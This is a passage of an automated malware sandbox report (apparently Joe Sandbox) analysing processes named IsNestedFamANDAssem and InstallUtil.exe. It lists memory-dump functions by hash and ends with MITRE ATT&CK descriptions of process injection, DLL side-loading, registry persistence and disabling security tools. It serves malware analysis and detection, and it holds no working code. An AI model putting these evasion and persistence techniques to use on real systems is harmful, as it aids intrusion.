Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d80cc4b0767faa3f1d1b316d9ce85613004264eb0bfd50a4f0c0e501d30aef7
Instruction ID: 9fd8b5724383ad2e432d7b391f0df9e20250a6a90a6078dfe7953d884f026515
Opcode Fuzzy Hash: 0d80cc4b0767faa3f1d1b316d9ce85613004264eb0bfd50a4f0c0e501d30aef7
Instruction Fuzzy Hash: 7BE0C27188110CDFCB81FBB4C90068D7BFDDF4A341F4085E9C100D3120EA714A00EBA1

Function 06091538 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ed285e522ef29c55b973842ad0e2e099a1410e034a71e8c39da56ef68784e6
Instruction ID: 0d5de0bcfc642141a48efabdd33aad8d40a595517d8fecd13cd84dd7eff40575
Opcode Fuzzy Hash: 62ed285e522ef29c55b973842ad0e2e099a1410e034a71e8c39da56ef68784e6
Instruction Fuzzy Hash: D0E0C274A08108DFCB44DFA8D4405ACBFBAEB85310F10C1ECD80917341CA329E42EB90

Function 06096070 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ed285e522ef29c55b973842ad0e2e099a1410e034a71e8c39da56ef68784e6
Instruction ID: 104546a045ddf36b05be3df28f941dee855e7a1f1ac70b933703ecfe1d9bc07e
Opcode Fuzzy Hash: 62ed285e522ef29c55b973842ad0e2e099a1410e034a71e8c39da56ef68784e6
Instruction Fuzzy Hash: 7BE08C34908108DBCB44DFA4D4805ADBBB9AB85314F1081D9C80817341C6339E42DB90

Function 06092088 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ed285e522ef29c55b973842ad0e2e099a1410e034a71e8c39da56ef68784e6
Instruction ID: 02c5078c27d89d4873176ed54e5e6e3eae2d5ef07274444b8ea9ebb5c8013011
Opcode Fuzzy Hash: 62ed285e522ef29c55b973842ad0e2e099a1410e034a71e8c39da56ef68784e6
Instruction Fuzzy Hash: DBE08C74D18208EFCB44DFA4D5445ACBFB9AB89310F6081E8C80817342CA329E42DB90

Function 06096830 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ed285e522ef29c55b973842ad0e2e099a1410e034a71e8c39da56ef68784e6
Instruction ID: 4819827addbcd9dac3696fa4172a067a78bf5e3ed36e126ff622e8daa05bcb89
Opcode Fuzzy Hash: 62ed285e522ef29c55b973842ad0e2e099a1410e034a71e8c39da56ef68784e6
Instruction Fuzzy Hash: C9E0C274D18108EFCB48DFA4D4415ADBFB9EB86314F10C2D9C80817351CA739E42DB90

Function 060909D0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ed285e522ef29c55b973842ad0e2e099a1410e034a71e8c39da56ef68784e6
Instruction ID: 44710fcaa4cad01db6fd008ff06482f3238e4da2726fe3e4f983e45b3977d9f4
Opcode Fuzzy Hash: 62ed285e522ef29c55b973842ad0e2e099a1410e034a71e8c39da56ef68784e6
Instruction Fuzzy Hash: F2E0C234909108DFCB44DFA4D4416ACBFB9EB85310F10C1DCC80917341C632AE42DB90

Function 06D79921 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2385789098.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d70000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00891338e1f80b119bc8dba997f91930467774af6f3dc21f5dbf9a5cc2d71568
Instruction ID: 07d51cda678cb82e04945829e22ef796bd2ca731fb07348f587f46f56477772b
Opcode Fuzzy Hash: 00891338e1f80b119bc8dba997f91930467774af6f3dc21f5dbf9a5cc2d71568
Instruction Fuzzy Hash: D7F05FB4E016688FCBA0CF24DD84B9ABBF5BB89311F0040E9D549A3254EB315E80CF05

Function 06097320 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cecc324e8ab20705e1f6ef264d3547854c85d30dbc8ea4bf04ac3e61db5494b
Instruction ID: 584d3a4bd9076ec657d10c44909ce1470d3ac97a7801b94d8da98de0fd022a2f
Opcode Fuzzy Hash: 0cecc324e8ab20705e1f6ef264d3547854c85d30dbc8ea4bf04ac3e61db5494b
Instruction Fuzzy Hash: CFE08C30814108DFCB90DBA8C4412ACBFB89B49215F50C0D9DC4857341E6329A42DB90

Function 0609FA58 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd99da2609284f99d33f3c2893be1227209a8f7ed239945a5b2751e0a8a83ccd
Instruction ID: 053346807e3146394aac1302df880a5400d6e4a9b9af4704049bbd334230b820
Opcode Fuzzy Hash: cd99da2609284f99d33f3c2893be1227209a8f7ed239945a5b2751e0a8a83ccd
Instruction Fuzzy Hash: C8E08C70D05108DFCB80DBA8C4406ACBBF8AB49310F1080D8C80897341E6329E41DB90

Function 0166F5C0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2367993349.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1660000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8239e4c9b06a58683a527f00419d192108396b0002fa9bc8f06538c9007fb007
Instruction ID: c5446528d8a2582a5bf206f6a0cf7acc31df54afc2bfa22ed51378eea5b6de52
Opcode Fuzzy Hash: 8239e4c9b06a58683a527f00419d192108396b0002fa9bc8f06538c9007fb007
Instruction Fuzzy Hash: B1E0E2B0911208EFCB54EFB8995429DBBB9AB44212F6041EDC908A6350EB329A90DF85

Function 06098732 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69dc07e9fb6425ee32d487363da9f4b6c0ed955cc77f6360b784c2211f9c651d
Instruction ID: 69db84c7bec887362321ced82fab044e55a00416da56ad3a758a664760cc24f6
Opcode Fuzzy Hash: 69dc07e9fb6425ee32d487363da9f4b6c0ed955cc77f6360b784c2211f9c651d
Instruction Fuzzy Hash: 8EE0C279D54208CFDF409F98C8AC6EC7FB3FB4D354F108804E50A67350CA3888028BA0

Function 06096D54 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0896bf1b4c0712ac0c2c54c35652c20fbdc7a55d771cdb601880f87e65af626f
Instruction ID: 4fae999ab97f1696fede3f20737e1fbb05b94f924796eabbd6b1c8d731be57f2
Opcode Fuzzy Hash: 0896bf1b4c0712ac0c2c54c35652c20fbdc7a55d771cdb601880f87e65af626f
Instruction Fuzzy Hash: FAE0EC74D64248CFEF58DFA8E0406ACBBB2FB19304F10842AE525E7340D6359C04CF51

Function 016664E5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2367993349.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1660000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3490cf820fb023f117d785034f9e8b05a8bff6796a1689a539c3ceb4629963f2
Instruction ID: 5d43107499260e15754e40ebc1f171d9de61327e9a1f1e981fefafdb42d62353
Opcode Fuzzy Hash: 3490cf820fb023f117d785034f9e8b05a8bff6796a1689a539c3ceb4629963f2
Instruction Fuzzy Hash: 52E0FE74905229CFCB68DF24D958698BBF5BB48305F80D5EA9889A3244DF711E84DF40

Function 07163B32 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2386674114.0000000007160000.00000040.00000800.00020000.00000000.sdmp, Offset: 07160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7160000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5190dd1c09640c6c646980bb53789a1ffa31d8d61270d39340fc813c9bc606e3
Instruction ID: 3a94f519782fb5bbc970c26667650c62bbb80f6701056a3398db9b3dbf4d0414
Opcode Fuzzy Hash: 5190dd1c09640c6c646980bb53789a1ffa31d8d61270d39340fc813c9bc606e3
Instruction Fuzzy Hash: 61D05B705041448FE7059F64C45CB767762EB4A309F25409CD51DA7681DB798946CF02

Function 06D7991C Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2385789098.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d70000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4283aeccacbd73fd4aad758886b1c5de0f94d42c8b535f207f3f40fd6a0b74de
Instruction ID: a4243ce6dc2ea7f78963721c2d304ddb826697b35ec52b3d9b5a1d0c87f9c380
Opcode Fuzzy Hash: 4283aeccacbd73fd4aad758886b1c5de0f94d42c8b535f207f3f40fd6a0b74de
Instruction Fuzzy Hash: 41D01270511718CFEB949F28D884E697775AB44300F100656884577244EF388E858F41

Function 01663894 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2367993349.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1660000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7cc0549bd3b57842776e029ea0a55da3fc849539d0f4d61db8ec4bac677d8d9
Instruction ID: 811638d9f809efb8032e780c24516ce6130bdb1eff2192af9e379bd47c687f7c
Opcode Fuzzy Hash: a7cc0549bd3b57842776e029ea0a55da3fc849539d0f4d61db8ec4bac677d8d9
Instruction Fuzzy Hash: 8AD09278909229DFDF608F50DC44BD9B779BB49304F0011D5D64DA3250CB355A868F05

Function 01660841 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2367993349.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1660000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb8f04b38455451ba3ddf5b7f4715c4451acd317c8856208da29b52666fd1bd1
Instruction ID: 96a2f74eebc487cba2f94ce67cb27114d5f74bd72b592adcb88f748a4c6962d4
Opcode Fuzzy Hash: bb8f04b38455451ba3ddf5b7f4715c4451acd317c8856208da29b52666fd1bd1
Instruction Fuzzy Hash: B7C08C7184D380CFC7824F20986D1423BB99B22223B0614FEE04286317F79C0C428B12

Function 01664AE5 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2367993349.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1660000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73e507d1eafa42114deadf38deeafd17dcb9c22f3df0c9f1a3cdae1e1fb36288
Instruction ID: cb7b9cfa1ff3b2191bfd9eeaff12c9e792bf74053085316b3cc80ba0b07bc505
Opcode Fuzzy Hash: 73e507d1eafa42114deadf38deeafd17dcb9c22f3df0c9f1a3cdae1e1fb36288
Instruction Fuzzy Hash: B0D0B1B89066688FCB20CF64EA84BDABBB5BB48345F1011EAD949B3254D6746E85CF00

Function 06D773E0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2385789098.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d70000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 159a501e7e8a257a0e15c487f2a1c0e65c93c5468f3cbf894501b4b1a814d543
Instruction ID: fc0a37d66e711b92a7e0ef12a8bcdfd9c397f2f67e7e374a227797a584d6e7c0
Opcode Fuzzy Hash: 159a501e7e8a257a0e15c487f2a1c0e65c93c5468f3cbf894501b4b1a814d543
Instruction Fuzzy Hash: 94C00276E5001A9A8B00DAD9E4508DCB774EB94321B004066E224A6104D63015268B50

Function 01660A57 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2367993349.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1660000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd90360ff7e80fee1bb985ea48e6020990d12521d30e34628d2294ca83df76c9
Instruction ID: 37f755bc80dd581d9f1937f8987e639f5e5908ac6c67ba95380d30a547034486
Opcode Fuzzy Hash: dd90360ff7e80fee1bb985ea48e6020990d12521d30e34628d2294ca83df76c9
Instruction Fuzzy Hash: 05B0123001D342CFC215CF65DE5D6353B3C5E0130970640D1E00382057C72E1846C732

Analysis Process: InstallUtil.exePID: 5488, Parent PID: 1028COMMON

Executed Functions

Function 02BB1A30 Relevance: 2.7, Strings: 2, Instructions: 218COMMON

Download Yara Rule

Strings

7@A, xrefs: 02BB1BBB
Te]q, xrefs: 02BB1BC7

Memory Dump Source

Source File: 00000006.00000002.2523026771.0000000002BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2bb0000_InstallUtil.jbxd

Similarity

API ID:
String ID: 7@A$Te]q
API String ID: 0-2080396276
Opcode ID: 24bc04fa4989308164480898e4cc70f0d17ba937d02c0b4d9a6e925536c666f0
Instruction ID: a63701a440249fa0397cb0383c8608d88af5e4a3a0a0ed58a3aff2697525f4e8
Opcode Fuzzy Hash: 24bc04fa4989308164480898e4cc70f0d17ba937d02c0b4d9a6e925536c666f0
Instruction Fuzzy Hash: FB915D35A10104CFD719DF68E5A8BEA77F2FF89311F2484A4E0099B368D7B0AC85CB50

Function 02BB1A40 Relevance: 2.7, Strings: 2, Instructions: 213COMMON

Download Yara Rule

Strings

7@A, xrefs: 02BB1BBB
Te]q, xrefs: 02BB1BC7

Memory Dump Source

Source File: 00000006.00000002.2523026771.0000000002BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2bb0000_InstallUtil.jbxd

Similarity

API ID:
String ID: 7@A$Te]q
API String ID: 0-2080396276
Opcode ID: 07368950b8728dbfcdb07b3c2d12902fc22dd1e2a20480af1a86ba81041b9841
Instruction ID: ae43e74426a4b7c37f6470d45a165be476d8b5d2dd68f9d9c604c0f454108ea9
Opcode Fuzzy Hash: 07368950b8728dbfcdb07b3c2d12902fc22dd1e2a20480af1a86ba81041b9841
Instruction Fuzzy Hash: 08814D35A10104CFD719DF68E5A8BE977F2EF88311F2584A5E4099B369D7B0AC85CB50

Function 02BB20A9 Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

Ddq, xrefs: 02BB2147

Memory Dump Source

Source File: 00000006.00000002.2523026771.0000000002BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2bb0000_InstallUtil.jbxd

Similarity

API ID:
String ID: Ddq
API String ID: 0-562783569
Opcode ID: c7ec4d8eb8e210112d6b9afdeb9a44bd58c559320e0f2af653f0af380b1f668c
Instruction ID: 7624bf3a022ef302c5bbe2a1e092682e3751a2caddda56d0124de00d7fe5c124
Opcode Fuzzy Hash: c7ec4d8eb8e210112d6b9afdeb9a44bd58c559320e0f2af653f0af380b1f668c
Instruction Fuzzy Hash: 20A19075A006119FCB16DF68D544AADBBF2FF88310F1185A9E805EB3A5DB70EC41CB90

Function 02BB0932 Relevance: 1.3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

Strings

pk, xrefs: 02BB098B

Memory Dump Source

Source File: 00000006.00000002.2523026771.0000000002BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2bb0000_InstallUtil.jbxd

Similarity

API ID:
String ID: pk
API String ID: 0-2816773387
Opcode ID: 257b4fb21344846bdcb0436d3857ad2be2565da362254b2017d063b840aa0227
Instruction ID: cbbf2514a2dac735de632b6c6d3cc4d95abb9fc7ec1e9200a648e5c675a8f874
Opcode Fuzzy Hash: 257b4fb21344846bdcb0436d3857ad2be2565da362254b2017d063b840aa0227
Instruction Fuzzy Hash: 140181335287909FC313AB68E8557A13BB4AF1B324B1944DBC494CB2A2D269AC00CB92

Function 02BB18C0 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2523026771.0000000002BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2bb0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d508a35c69ce074e5f4b854f84f91e0f98fd64c6427b80d5507255ee4e91567
Instruction ID: a41b756855de4d7ca51b04231db700338ddff8bb7b84b7a0599d81196048ac02
Opcode Fuzzy Hash: 5d508a35c69ce074e5f4b854f84f91e0f98fd64c6427b80d5507255ee4e91567
Instruction Fuzzy Hash: 6D31AF367102019FDB16DA69D854BBA77E6FF88360F1485B6E009CB354EBB4DC42CB50

Function 02BB17E9 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2523026771.0000000002BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2bb0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2806ef3c98536cab7a88b5705bad0112d7c7b5bc975d392928a35fd0fbb02392
Instruction ID: d5e1cbcf7f989f89ce0dd41fdd593f79f74b612874a82b31c4d0a55f1cf913b9
Opcode Fuzzy Hash: 2806ef3c98536cab7a88b5705bad0112d7c7b5bc975d392928a35fd0fbb02392
Instruction Fuzzy Hash: 1C11D271D15208EFCB42DFA8E8556ECBBF1FF4A304F2484EAC01897251D7B56A94CB81

Function 02BB17F8 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2523026771.0000000002BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2bb0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2ad082f04cb638edfa28e1352786f16a64611fcbc02cf5247d75b3bd3870b43
Instruction ID: 90d9156f7898410f090682e65abecfb1ace4a247f4f7f54743a2a9b104fa5219
Opcode Fuzzy Hash: b2ad082f04cb638edfa28e1352786f16a64611fcbc02cf5247d75b3bd3870b43
Instruction Fuzzy Hash: CB11EE70D10208EFCB41EFA9E9547ECBBF1FF89300F2084A9C009A7214E7B46A948B80

Function 02BB1761 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2523026771.0000000002BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2bb0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97be08a4f62eeffc6d0ee295b812e94bd96c294d1866c292851aba48f89c5fe3
Instruction ID: e34718c904a8f1f79819acbdbe47992ccb0b42dff6511c5a01e4eb140ff648bb
Opcode Fuzzy Hash: 97be08a4f62eeffc6d0ee295b812e94bd96c294d1866c292851aba48f89c5fe3
Instruction Fuzzy Hash: 5BE08CB28246D0AEDF03DB70F8197283BA0AF23348F0808C8C0408F0A2C66BA8088B11

Function 02BB16F0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2523026771.0000000002BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2bb0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3671095e2a9bcda42596f2c307163c924d96e0f539ddad684e2e12a6007da2f7
Instruction ID: 8a427b3d65f8335d27acf5c89d455baf55af3cc2d357978c63c008da796bf852
Opcode Fuzzy Hash: 3671095e2a9bcda42596f2c307163c924d96e0f539ddad684e2e12a6007da2f7
Instruction Fuzzy Hash: 58D0C9B3058B489FC3029BB4FC4AA853BBCEE0A31831840D6E028CA022C62EA544DB21

Function 02BB361E Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2523026771.0000000002BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2bb0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eea7a912e08987477cc242a96e35a54bd4e5653913f435cdd47e90912058d61
Instruction ID: 127fad0b1bc9fe23413d564b58df75ee40700c6f2597764568628e50a3851419
Opcode Fuzzy Hash: 3eea7a912e08987477cc242a96e35a54bd4e5653913f435cdd47e90912058d61
Instruction Fuzzy Hash: 72C08C30A10404BBDF0A9BD0E8045FD7AB2FF8C200F604054FA0273260CE265D049F24

Function 02BB1700 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2523026771.0000000002BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2bb0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a02db0ad8be2e1b6518ea4907ec870f6e3cd94ae154fbf67c3110f3580edd4a6
Instruction ID: 860cf3ca280bfdf7ba8266f4ef1e6b2124e1b59ae0fa959dbbee52e66c975599
Opcode Fuzzy Hash: a02db0ad8be2e1b6518ea4907ec870f6e3cd94ae154fbf67c3110f3580edd4a6
Instruction Fuzzy Hash: EAA01132000208CFC2202BA0B80C20CBB2CEA08202B808020E00E8000A8A2228088B80

Function 02BB0960 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2523026771.0000000002BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2bb0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88c97ef3b99c0c777726e82acf66436f5b11ff9f0640e1e43ac8c7de3cd882d0
Instruction ID: 6e2741689ba5f9d18704e07ceb872c0298d02f1b545de5e179a1aeaec9c6b0e3
Opcode Fuzzy Hash: 88c97ef3b99c0c777726e82acf66436f5b11ff9f0640e1e43ac8c7de3cd882d0
Instruction Fuzzy Hash: 3190023104464C8B855037D5784D555B79C95845157848491A50D415065E6968108795

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

